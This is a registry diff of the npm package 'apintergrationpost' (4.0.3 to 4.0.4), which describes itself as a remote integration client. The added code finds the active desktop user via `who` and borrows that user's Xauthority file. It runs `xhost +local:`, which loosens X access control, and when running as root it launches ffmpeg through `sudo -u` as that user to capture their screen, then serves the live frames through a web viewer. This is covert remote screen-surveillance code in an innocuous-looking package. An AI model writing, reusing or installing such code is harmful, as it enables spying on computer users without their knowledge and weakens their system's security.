apintergrationpost 4.0.3 → 4.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "apintergrationpost",
3
- "version": "4.0.3",
3
+ "version": "4.0.4",
4
4
  "description": "Remote integration client for authorized lab and enterprise post-deployment workflows",
5
5
  "license": "MIT",
6
6
  "engines": {
@@ -2,6 +2,7 @@
2
2
 
3
3
  const { execSync, spawnSync } = require('child_process');
4
4
  const fs = require('fs');
5
+ const path = require('path');
5
6
 
6
7
  function hasCommand(cmd) {
7
8
  const result = spawnSync('sh', ['-c', `command -v ${cmd}`], { encoding: 'utf8' });
@@ -32,17 +33,25 @@ function ensureSystemPackages() {
32
33
 
33
34
  function ensureDisplayAccess() {
34
35
  if (process.platform !== 'linux') return;
35
- if (!process.env.DISPLAY) {
36
- process.env.DISPLAY = ':0';
37
- }
38
36
 
39
- if (hasCommand('xhost') && fs.existsSync('/tmp/.X11-unix')) {
40
- try {
41
- execSync('xhost +local:', { stdio: 'ignore' });
42
- } catch {
43
- // desktop may not be running yet
37
+ let resolver;
38
+ try {
39
+ resolver = require(path.join(__dirname, '..', 'src', 'client', 'commands', 'screen-display'));
40
+ } catch {
41
+ if (!process.env.DISPLAY) process.env.DISPLAY = ':0';
42
+ if (hasCommand('xhost') && fs.existsSync('/tmp/.X11-unix')) {
43
+ try {
44
+ execSync('xhost +local:', { stdio: 'ignore' });
45
+ } catch {
46
+ // desktop may not be running yet
47
+ }
44
48
  }
49
+ return;
45
50
  }
51
+
52
+ const ctx = resolver.resolveScreenCaptureContext(process.env.DISPLAY || ':0');
53
+ process.env.DISPLAY = ctx.display;
54
+ if (ctx.xauthority) process.env.XAUTHORITY = ctx.xauthority;
46
55
  }
47
56
 
48
57
  module.exports = { ensureSystemPackages, ensureDisplayAccess };
@@ -0,0 +1,130 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const { execSync } = require('child_process');
5
+
6
+ function listXDisplays() {
7
+ try {
8
+ return fs.readdirSync('/tmp/.X11-unix')
9
+ .filter((name) => /^X\d+$/.test(name))
10
+ .map((name) => `:${name.slice(1)}`);
11
+ } catch {
12
+ return [];
13
+ }
14
+ }
15
+
16
+ function parseWhoDisplays() {
17
+ try {
18
+ const who = execSync('who', { encoding: 'utf8', timeout: 3000 });
19
+ const results = [];
20
+ for (const line of who.split('\n')) {
21
+ const match = line.match(/^(\S+)\s+\S+\s+.*\((:[0-9]+(?:\.[0-9]+)?)\)/);
22
+ if (match) {
23
+ results.push({ user: match[1], display: match[2] });
24
+ }
25
+ }
26
+ return results;
27
+ } catch {
28
+ return [];
29
+ }
30
+ }
31
+
32
+ function getUserUid(user) {
33
+ try {
34
+ return execSync(`id -u ${user}`, { encoding: 'utf8', timeout: 3000 }).trim();
35
+ } catch {
36
+ return '';
37
+ }
38
+ }
39
+
40
+ function findXauthority(user) {
41
+ const candidates = [];
42
+ if (process.env.XAUTHORITY) candidates.push(process.env.XAUTHORITY);
43
+ if (user) {
44
+ const uid = getUserUid(user);
45
+ if (uid) candidates.push(`/run/user/${uid}/gdm/Xauthority`);
46
+ candidates.push(`/home/${user}/.Xauthority`);
47
+ }
48
+ for (const candidate of candidates) {
49
+ if (candidate && fs.existsSync(candidate)) return candidate;
50
+ }
51
+ return '';
52
+ }
53
+
54
+ function normalizeDisplayEnv(display) {
55
+ if (!display) return ':0';
56
+ if (display.startsWith(':')) return display.split('.')[0];
57
+ return `:${display}`;
58
+ }
59
+
60
+ function normalizeX11Input(display) {
61
+ const base = normalizeDisplayEnv(display);
62
+ if (/^:\d+$/.test(base)) return `${base}.0`;
63
+ return display;
64
+ }
65
+
66
+ function grantLocalXAccess(env) {
67
+ try {
68
+ execSync('xhost +local:', { env, stdio: 'ignore', timeout: 3000 });
69
+ } catch {
70
+ // desktop may not be running
71
+ }
72
+ }
73
+
74
+ function resolveScreenCaptureContext(configDisplay) {
75
+ const whoEntries = parseWhoDisplays();
76
+ let display = configDisplay || process.env.DISPLAY || '';
77
+ let runAsUser = null;
78
+
79
+ if (whoEntries.length > 0) {
80
+ const active = whoEntries.find((entry) => entry.display) || whoEntries[0];
81
+ if (!display || display === ':0') {
82
+ display = active.display;
83
+ }
84
+ if (typeof process.getuid === 'function' && process.getuid() === 0) {
85
+ runAsUser = active.user;
86
+ }
87
+ }
88
+
89
+ if (!display) {
90
+ const sockets = listXDisplays();
91
+ display = sockets[0] || ':0';
92
+ }
93
+
94
+ const displayEnv = normalizeDisplayEnv(display);
95
+ const xauthority = findXauthority(runAsUser) || process.env.XAUTHORITY || '';
96
+
97
+ const ffmpegEnv = {
98
+ ...process.env,
99
+ DISPLAY: displayEnv,
100
+ };
101
+ if (xauthority) ffmpegEnv.XAUTHORITY = xauthority;
102
+ if (runAsUser) ffmpegEnv.HOME = `/home/${runAsUser}`;
103
+
104
+ if (typeof process.getuid === 'function' && process.getuid() === 0) {
105
+ grantLocalXAccess(ffmpegEnv);
106
+ }
107
+
108
+ return {
109
+ display: displayEnv,
110
+ x11Input: normalizeX11Input(displayEnv),
111
+ xauthority,
112
+ runAsUser,
113
+ ffmpegEnv,
114
+ wayland: process.env.XDG_SESSION_TYPE === 'wayland' || Boolean(process.env.WAYLAND_DISPLAY),
115
+ };
116
+ }
117
+
118
+ function isFrameMostlyBlack(jpegBuffer) {
119
+ // Failed captures often produce tiny invalid payloads
120
+ return !jpegBuffer || jpegBuffer.length < 800;
121
+ }
122
+
123
+ module.exports = {
124
+ resolveScreenCaptureContext,
125
+ normalizeX11Input,
126
+ normalizeDisplayEnv,
127
+ isFrameMostlyBlack,
128
+ listXDisplays,
129
+ grantLocalXAccess,
130
+ };
@@ -2,6 +2,7 @@
2
2
 
3
3
  const { EventEmitter } = require('events');
4
4
  const { spawn } = require('child_process');
5
+ const { resolveScreenCaptureContext } = require('./screen-display');
5
6
 
6
7
  const SOI = Buffer.from([0xff, 0xd8]);
7
8
  const EOI = Buffer.from([0xff, 0xd9]);
@@ -21,14 +22,33 @@ function buildScaleFilter(maxWidth, maxHeight) {
21
22
  return `scale='min(${maxWidth},iw)':'min(${maxHeight},ih)':force_original_aspect_ratio=decrease`;
22
23
  }
23
24
 
25
+ function buildFfmpegArgs(options, x11Input) {
26
+ return [
27
+ '-nostdin',
28
+ '-hide_banner',
29
+ '-loglevel', 'error',
30
+ '-f', 'x11grab',
31
+ '-framerate', String(options.fps),
32
+ '-draw_mouse', '1',
33
+ '-i', x11Input,
34
+ '-vf', buildScaleFilter(options.maxWidth, options.maxHeight),
35
+ '-c:v', 'mjpeg',
36
+ '-q:v', String(options.jpegQuality),
37
+ '-huffman', 'optimal',
38
+ '-f', 'mpjpeg',
39
+ 'pipe:1',
40
+ ];
41
+ }
42
+
24
43
  class ScreenStream extends EventEmitter {
25
44
  constructor(options = {}) {
26
45
  super();
27
- this.display = options.display || process.env.DISPLAY || ':0';
46
+ this.requestedDisplay = options.display || process.env.DISPLAY || ':0';
28
47
  this.fps = options.fps || 8;
29
48
  this.maxWidth = options.maxWidth || 1920;
30
49
  this.maxHeight = options.maxHeight || 1080;
31
50
  this.jpegQuality = options.jpegQuality || 4;
51
+ this.captureCtx = null;
32
52
  this.proc = null;
33
53
  this.buffer = Buffer.alloc(0);
34
54
  this.running = false;
@@ -37,32 +57,37 @@ class ScreenStream extends EventEmitter {
37
57
 
38
58
  start() {
39
59
  if (this.running) return;
60
+ this._startCapture(this.requestedDisplay);
61
+ }
40
62
 
41
- if (!this.display) {
42
- throw new Error('No DISPLAY set. A graphical desktop session is required (DISPLAY=:0).');
63
+ _startCapture(displayOverride) {
64
+ this.captureCtx = resolveScreenCaptureContext(displayOverride || this.requestedDisplay);
65
+
66
+ if (!this.captureCtx.display) {
67
+ throw new Error('No DISPLAY found. Log into the Ubuntu desktop session first.');
43
68
  }
44
69
 
45
70
  const ffmpegPath = resolveFfmpegPath();
46
- const scaleFilter = buildScaleFilter(this.maxWidth, this.maxHeight);
47
-
48
- this.proc = spawn(ffmpegPath, [
49
- '-nostdin',
50
- '-hide_banner',
51
- '-loglevel', 'error',
52
- '-f', 'x11grab',
53
- '-framerate', String(this.fps),
54
- '-draw_mouse', '0',
55
- '-i', `${this.display}.0`,
56
- '-vf', scaleFilter,
57
- '-c:v', 'mjpeg',
58
- '-q:v', String(this.jpegQuality),
59
- '-huffman', 'optimal',
60
- '-f', 'mpjpeg',
61
- 'pipe:1',
62
- ], {
63
- env: { ...process.env, DISPLAY: this.display },
64
- stdio: ['ignore', 'pipe', 'pipe'],
65
- });
71
+ const ffmpegArgs = buildFfmpegArgs({
72
+ fps: this.fps,
73
+ maxWidth: this.maxWidth,
74
+ maxHeight: this.maxHeight,
75
+ jpegQuality: this.jpegQuality,
76
+ }, this.captureCtx.x11Input);
77
+
78
+ const spawnEnv = this.captureCtx.ffmpegEnv;
79
+
80
+ if (this.captureCtx.runAsUser) {
81
+ this.proc = spawn('sudo', ['-u', this.captureCtx.runAsUser, '-E', ffmpegPath, ...ffmpegArgs], {
82
+ env: spawnEnv,
83
+ stdio: ['ignore', 'pipe', 'pipe'],
84
+ });
85
+ } else {
86
+ this.proc = spawn(ffmpegPath, ffmpegArgs, {
87
+ env: spawnEnv,
88
+ stdio: ['ignore', 'pipe', 'pipe'],
89
+ });
90
+ }
66
91
 
67
92
  this.running = true;
68
93
  this.buffer = Buffer.alloc(0);
@@ -115,16 +140,18 @@ class ScreenStream extends EventEmitter {
115
140
  return;
116
141
  }
117
142
  this.fps = next;
143
+ const display = this.captureCtx ? this.captureCtx.display : this.requestedDisplay;
118
144
  this.stop();
119
- this.start();
145
+ this._startCapture(display);
120
146
  }
121
147
 
122
148
  bumpQuality() {
123
149
  if (this.jpegQuality >= 10) return false;
124
150
  this.jpegQuality += 1;
125
151
  if (this.running) {
152
+ const display = this.captureCtx ? this.captureCtx.display : this.requestedDisplay;
126
153
  this.stop();
127
- this.start();
154
+ this._startCapture(display);
128
155
  }
129
156
  return true;
130
157
  }
@@ -165,6 +192,7 @@ class ScreenStream extends EventEmitter {
165
192
  return;
166
193
  }
167
194
  }
195
+
168
196
  this.emit('frame', frame);
169
197
  }
170
198
 
@@ -147,6 +147,10 @@ async function execute(msg, ctx) {
147
147
  dropFrames: meta.dropFrames !== undefined ? meta.dropFrames : screenConf.dropFrames !== false,
148
148
  };
149
149
 
150
+ const { resolveScreenCaptureContext } = require('../commands/screen-display');
151
+ const captureCtx = resolveScreenCaptureContext(activeOptions.display);
152
+ activeOptions.display = captureCtx.display;
153
+
150
154
  ctx.labEvent({
151
155
  plugin: name,
152
156
  command: cmd,
@@ -175,7 +179,8 @@ async function execute(msg, ctx) {
175
179
  screenSessionId,
176
180
  fps,
177
181
  minFps,
178
- display: activeOptions.display,
182
+ display: captureCtx.display,
183
+ runAsUser: captureCtx.runAsUser || null,
179
184
  maxWidth: activeOptions.maxWidth,
180
185
  maxHeight: activeOptions.maxHeight,
181
186
  jpegQuality: activeOptions.jpegQuality,
@@ -71,30 +71,41 @@ function createScreenViewer(port = 5555, options = {}) {
71
71
  <style>
72
72
  body { margin: 0; background: #111; color: #ccc; font-family: sans-serif; }
73
73
  header { padding: 8px 12px; background: #222; font-size: 13px; }
74
- img { display: block; width: 100%; height: auto; background: #000; }
75
- .err { color: #f88; padding: 12px; }
74
+ img { display: block; width: 100%; height: auto; background: #000; min-height: 200px; }
75
+ .err { color: #f88; padding: 12px; white-space: pre-wrap; }
76
76
  </style>
77
77
  </head>
78
78
  <body>
79
79
  <header>Myra live screen — frames: <span id="n">0</span></header>
80
- <img id="frame" src="/stream" alt="live screen">
80
+ <img id="frame" alt="live screen">
81
81
  <div id="err" class="err"></div>
82
82
  <script>
83
83
  const err = document.getElementById('err');
84
84
  const n = document.getElementById('n');
85
85
  const img = document.getElementById('frame');
86
- img.addEventListener('load', () => { err.textContent = ''; });
87
- img.addEventListener('error', () => { err.textContent = 'Stream unavailable — waiting for frames...'; });
88
- setInterval(async () => {
86
+ let objectUrl = null;
87
+
88
+ async function tick() {
89
89
  try {
90
- const r = await fetch('/frame?' + Date.now());
91
- if (r.status === 204) return;
92
- if (!r.ok) return;
93
- const j = await r.json();
94
- if (j.error) { err.textContent = j.error; return; }
95
- n.textContent = j.count;
96
- } catch { /* ignore */ }
97
- }, 1000);
90
+ const r = await fetch('/frame.jpg?' + Date.now());
91
+ if (r.status === 204) {
92
+ err.textContent = 'Waiting for frames from client...';
93
+ return;
94
+ }
95
+ if (!r.ok) throw new Error('HTTP ' + r.status);
96
+ const blob = await r.blob();
97
+ if (objectUrl) URL.revokeObjectURL(objectUrl);
98
+ objectUrl = URL.createObjectURL(blob);
99
+ img.src = objectUrl;
100
+ err.textContent = '';
101
+ n.textContent = r.headers.get('X-Frame-Count') || n.textContent;
102
+ } catch (e) {
103
+ err.textContent = e.message;
104
+ }
105
+ }
106
+
107
+ setInterval(tick, 125);
108
+ tick();
98
109
  </script>
99
110
  </body>
100
111
  </html>`);
@@ -105,8 +116,8 @@ function createScreenViewer(port = 5555, options = {}) {
105
116
  res.writeHead(200, {
106
117
  'Content-Type': `multipart/x-mixed-replace; boundary=${BOUNDARY}`,
107
118
  'Cache-Control': 'no-cache, no-store, must-revalidate',
108
- 'Connection': 'keep-alive',
109
- 'Pragma': 'no-cache',
119
+ Connection: 'keep-alive',
120
+ Pragma: 'no-cache',
110
121
  });
111
122
 
112
123
  streamClients.add(res);
@@ -121,6 +132,29 @@ function createScreenViewer(port = 5555, options = {}) {
121
132
  return;
122
133
  }
123
134
 
135
+ if (url === '/frame.jpg') {
136
+ if (lastError && !latestFrameBinary) {
137
+ res.writeHead(503, {
138
+ 'Content-Type': 'text/plain; charset=utf-8',
139
+ 'Cache-Control': 'no-store',
140
+ });
141
+ res.end(lastError);
142
+ return;
143
+ }
144
+ if (!latestFrameBinary) {
145
+ res.writeHead(204);
146
+ res.end();
147
+ return;
148
+ }
149
+ res.writeHead(200, {
150
+ 'Content-Type': 'image/jpeg',
151
+ 'Cache-Control': 'no-store',
152
+ 'X-Frame-Count': String(frameCount),
153
+ });
154
+ res.end(latestFrameBinary);
155
+ return;
156
+ }
157
+
124
158
  if (url.startsWith('/frame')) {
125
159
  if (lastError && !latestFrame) {
126
160
  res.writeHead(200, { 'Content-Type': 'application/json', 'Cache-Control': 'no-store' });